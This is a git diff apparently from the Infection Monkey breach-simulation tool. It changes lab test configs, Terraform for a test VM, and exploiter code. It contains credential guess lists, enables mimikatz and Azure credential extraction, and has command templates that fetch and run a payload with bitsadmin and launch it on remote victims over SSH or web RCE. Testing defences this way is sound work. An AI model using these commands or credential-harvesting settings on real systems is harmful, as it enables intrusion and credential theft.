diff --git a/envs/monkey_zoo/blackbox/island_configs/STRUTS2.conf b/envs/monkey_zoo/blackbox/island_configs/STRUTS2.conf index 4e487fee9..4b47a0246 100644 --- a/envs/monkey_zoo/blackbox/island_configs/STRUTS2.conf +++ b/envs/monkey_zoo/blackbox/island_configs/STRUTS2.conf @@ -1,8 +1,18 @@ { "basic": { "credentials": { - "exploit_password_list": [], - "exploit_user_list": [] + "exploit_password_list": [ + "Password1!", + "1234", + "password", + "12345678" + ], + "exploit_user_list": [ + "Administrator", + "root", + "user", + "vakaris_zilius" + ] }, "general": { "should_exploit": true @@ -38,17 +48,14 @@ "general": { "exploiter_classes": [ "Struts2Exploiter" - ], - "skip_exploit_if_file_exist": true + ], + "skip_exploit_if_file_exist": false }, "ms08_067": { "ms08_067_exploit_attempts": 5, "remote_user_pass": "Password1!", "user_to_add": "Monkey_IUSER_SUPPORT" }, - "rdp_grinder": { - "rdp_use_vbs_download": true - }, "sambacry": { "sambacry_folder_paths_to_guess": [ "/", @@ -98,7 +105,7 @@ "exploit_ssh_keys": [] }, "general": { - "keep_tunnel_open_time": 1, + "keep_tunnel_open_time": 60, "monkey_dir_name": "monkey_dir", "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}" }, @@ -126,24 +133,32 @@ }, "general": { "alive": true, - "post_breach_actions": [] + "post_breach_actions": [ + "CommunicateAsNewUser" + ] }, "life_cycle": { "max_iterations": 1, "retry_failed_explotation": true, - "timeout_between_iterations": 30, - "victims_max_exploit": 7, - "victims_max_find": 30 + "timeout_between_iterations": 100, + "victims_max_exploit": 15, + "victims_max_find": 100 }, "system_info": { - "collect_system_info": false, - "extract_azure_creds": false, - "should_use_mimikatz": false + "collect_system_info": true, + "extract_azure_creds": true, + "should_use_mimikatz": true, + "system_info_collectors_classes": [ + "EnvironmentCollector", + "AwsCollector", + "HostnameCollector", + "ProcessListCollector" + ] } }, "network": { "ping_scanner": { - "ping_scan_timeout": 100 + "ping_scan_timeout": 1000 }, "tcp_scanner": { "HTTP_PORTS": [ @@ -155,7 +170,7 @@ ], "tcp_scan_get_banner": true, "tcp_scan_interval": 0, - "tcp_scan_timeout": 300, + "tcp_scan_timeout": 3000, "tcp_target_ports": [ 22, 2222, @@ -168,7 +183,8 @@ 8008, 3306, 9200, - 7001 + 7001, + 8088 ] } } diff --git a/envs/monkey_zoo/blackbox/island_configs/TUNNELING.conf b/envs/monkey_zoo/blackbox/island_configs/TUNNELING.conf index 306a683eb..80d85a7b7 100644 --- a/envs/monkey_zoo/blackbox/island_configs/TUNNELING.conf +++ b/envs/monkey_zoo/blackbox/island_configs/TUNNELING.conf @@ -5,6 +5,7 @@ "Password1!", "3Q=(Ge(+&w]*", "`))jU7L(w}", + "t67TC5ZDmz", "12345678", "another_one", "and_another_one", @@ -30,7 +31,8 @@ "subnet_scan_list": [ "10.2.2.9", "10.2.1.10", - "10.2.0.11" + "10.2.0.11", + "10.2.0.12" ] }, "network_analysis": { diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index e2da6a992..7ac70d8e0 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -16,7 +16,7 @@ DEFAULT_TIMEOUT_SECONDS = 5*60 MACHINE_BOOTUP_WAIT_SECONDS = 30 GCP_TEST_MACHINE_LIST = ['sshkeys-11', 'sshkeys-12', 'elastic-4', 'elastic-5', 'hadoop-2', 'hadoop-3', 'mssql-16', 'mimikatz-14', 'mimikatz-15', 'struts2-23', 'struts2-24', 'tunneling-9', 'tunneling-10', - 'tunneling-11', 'weblogic-18', 'weblogic-19', 'shellshock-8'] + 'tunneling-11', 'tunneling-12', 'weblogic-18', 'weblogic-19', 'shellshock-8'] LOG_DIR_PATH = "./logs" LOGGER = logging.getLogger(__name__) @@ -118,9 +118,8 @@ class TestMonkeyBlackbox(object): def test_shellshock_exploiter(self, island_client): TestMonkeyBlackbox.run_basic_test(island_client, "SHELLSHOCK.conf", "Shellschock_exploiter") - @pytest.mark.xfail(reason="Test fails randomly - still investigating.") def test_tunneling(self, island_client): - TestMonkeyBlackbox.run_basic_test(island_client, "TUNNELING.conf", "Tunneling_exploiter", 10*60) + TestMonkeyBlackbox.run_basic_test(island_client, "TUNNELING.conf", "Tunneling_exploiter", 15*60) def test_wmi_and_mimikatz_exploiters(self, island_client): TestMonkeyBlackbox.run_basic_test(island_client, "WMI_MIMIKATZ.conf", "WMI_exploiter,_mimikatz") @@ -128,6 +127,7 @@ class TestMonkeyBlackbox(object): def test_wmi_pth(self, island_client): TestMonkeyBlackbox.run_basic_test(island_client, "WMI_PTH.conf", "WMI_PTH") + @pytest.mark.xfail(reason="Performance is slow, will improve on release 1.9.") def test_performance(self, island_client): """ This test includes the SSH + Elastic + Hadoop + MSSQL machines all in one test diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index 30602f237..bb7c4d72d 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -201,6 +201,21 @@ resource "google_compute_instance_from_template" "tunneling-11" { } } +resource "google_compute_instance_from_template" "tunneling-12" { + name = "${local.resource_prefix}tunneling-12" + source_instance_template = local.default_windows + boot_disk{ + initialize_params { + image = data.google_compute_image.tunneling-12.self_link + } + auto_delete = true + } + network_interface{ + subnetwork="${local.resource_prefix}tunneling2-main" + network_ip="10.2.0.12" + } +} + resource "google_compute_instance_from_template" "sshkeys-11" { name = "${local.resource_prefix}sshkeys-11" source_instance_template = local.default_ubuntu diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 4fbc484eb..45d36d055 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -180,7 +180,7 @@ class SSHExploiter(HostExploiter): try: cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) - cmdline += "&" + cmdline += " > /dev/null 2>&1 &" ssh.exec_command(cmdline) LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index bef428f4d..9f40f0934 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -409,6 +409,7 @@ class WebRCE(HostExploiter): monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1) command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd} try: + LOG.info("Trying to execute monkey using command: {}".format(command)) resp = self.exploit(url, command) # If exploiter returns True / False if isinstance(resp, bool): diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index e4cfea7a4..5644044b0 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -5,14 +5,17 @@ __author__ = 'itamar' MONKEY_ARG = "m0nk3y" DROPPER_ARG = "dr0pp3r" ID_STRING = "M0NK3Y3XPL0ITABLE" -DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG,) -MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG,) + +# CMD prefix for windows commands +CMD_PREFIX = "cmd.exe /c" +DROPPER_CMDLINE_WINDOWS = '%s %%(dropper_path)s %s' % (CMD_PREFIX, DROPPER_ARG,) +MONKEY_CMDLINE_WINDOWS = '%s %%(monkey_path)s %s' % (CMD_PREFIX, MONKEY_ARG,) MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG,) GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)' -DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG,) -MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG,) -MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd ' \ - '/c %%(monkey_path)s %s"' % (MONKEY_ARG,) +DROPPER_CMDLINE_DETACHED_WINDOWS = '%s start cmd /c %%(dropper_path)s %s' % (CMD_PREFIX, DROPPER_ARG,) +MONKEY_CMDLINE_DETACHED_WINDOWS = '%s start cmd /c %%(monkey_path)s %s' % (CMD_PREFIX, MONKEY_ARG,) +MONKEY_CMDLINE_HTTP = '%s /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd ' \ + '/c %%(monkey_path)s %s"' % (CMD_PREFIX, MONKEY_ARG,) DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(' \ 'file_path)s exit)) > NUL 2>&1 ' @@ -25,8 +28,6 @@ CHMOD_MONKEY = "chmod +x %(monkey_path)s" RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s" # Commands used to check for architecture and if machine is exploitable CHECK_COMMAND = "echo %s" % ID_STRING -# CMD prefix for windows commands -CMD_PREFIX = "cmd.exe /c" # Architecture checking commands GET_ARCH_WINDOWS = "wmic os get osarchitecture" GET_ARCH_LINUX = "lscpu" diff --git a/monkey/monkey_island/cc/services/attack/mitre_api_interface.py b/monkey/monkey_island/cc/services/attack/mitre_api_interface.py index af169ec5f..ad4419be5 100644 --- a/monkey/monkey_island/cc/services/attack/mitre_api_interface.py +++ b/monkey/monkey_island/cc/services/attack/mitre_api_interface.py @@ -1,7 +1,6 @@ from typing import List, Dict -from stix2 import FileSystemSource, Filter, CourseOfAction, AttackPattern -from stix2.core import STIXDomainObject +from stix2 import FileSystemSource, Filter, CourseOfAction, AttackPattern, v20 class MitreApiInterface: @@ -33,14 +32,14 @@ class MitreApiInterface: return all_techniques @staticmethod - def get_stix2_external_reference_id(stix2_data: STIXDomainObject) -> str: + def get_stix2_external_reference_id(stix2_data: v20._DomainObject) -> str: for reference in stix2_data['external_references']: if reference['source_name'] == "mitre-attack" and 'external_id' in reference: return reference['external_id'] return '' @staticmethod - def get_stix2_external_reference_url(stix2_data: STIXDomainObject) -> str: + def get_stix2_external_reference_url(stix2_data: v20._DomainObject) -> str: for reference in stix2_data['external_references']: if 'url' in reference: return reference['url'] diff --git a/monkey/monkey_island/cc/services/bootloader.py b/monkey/monkey_island/cc/services/bootloader.py index 49dbe3154..9f05ac45f 100644 --- a/monkey/monkey_island/cc/services/bootloader.py +++ b/monkey/monkey_island/cc/services/bootloader.py @@ -17,7 +17,7 @@ class BootloaderService: telem['os_version'] = "Unknown OS" telem_id = BootloaderService.get_mongo_id_for_bootloader_telem(telem) - mongo.db.bootloader_telems.update({'_id': telem_id}, telem, upsert=True) + mongo.db.bootloader_telems.update({'_id': telem_id}, {'$setOnInsert': telem}, upsert=True) will_monkey_run = BootloaderService.is_os_compatible(telem) try: diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 3ad0a270b..6104b279f 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -243,6 +243,12 @@ class NodeService: raise NodeCreationException("Bootloader ran on island, no need to create new node.") new_node = mongo.db.node.find_one({"ip_addresses": {"$in": bootloader_telem['ips']}}) + # Temporary workaround to not create a node after monkey finishes + monkey_node = mongo.db.monkey.find_one({"ip_addresses": {"$in": bootloader_telem['ips']}}) + if monkey_node: + # Don't create new node, monkey node is already present + return monkey_node + if new_node is None: new_node = NodeService.create_node_from_bootloader_telem(bootloader_telem, will_monkey_run) if bootloader_telem['tunnel']: diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js index 17dcc9be7..2c07147f7 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js @@ -11,6 +11,8 @@ import {Link} from 'react-router-dom'; import AuthComponent from '../AuthComponent'; import AwsRunTable from '../run-monkey/AwsRunTable'; +import '../../styles/MonkeyRunPage.scss'; + const loading_css_override = css` display: block; margin-right: auto; @@ -325,7 +327,8 @@ class RunMonkeyPageComponent extends AuthComponent { Choose the operating system where you want to run the monkey {this.state.ips.length > 1 ? ', and the interface to communicate with.' : '.'}

-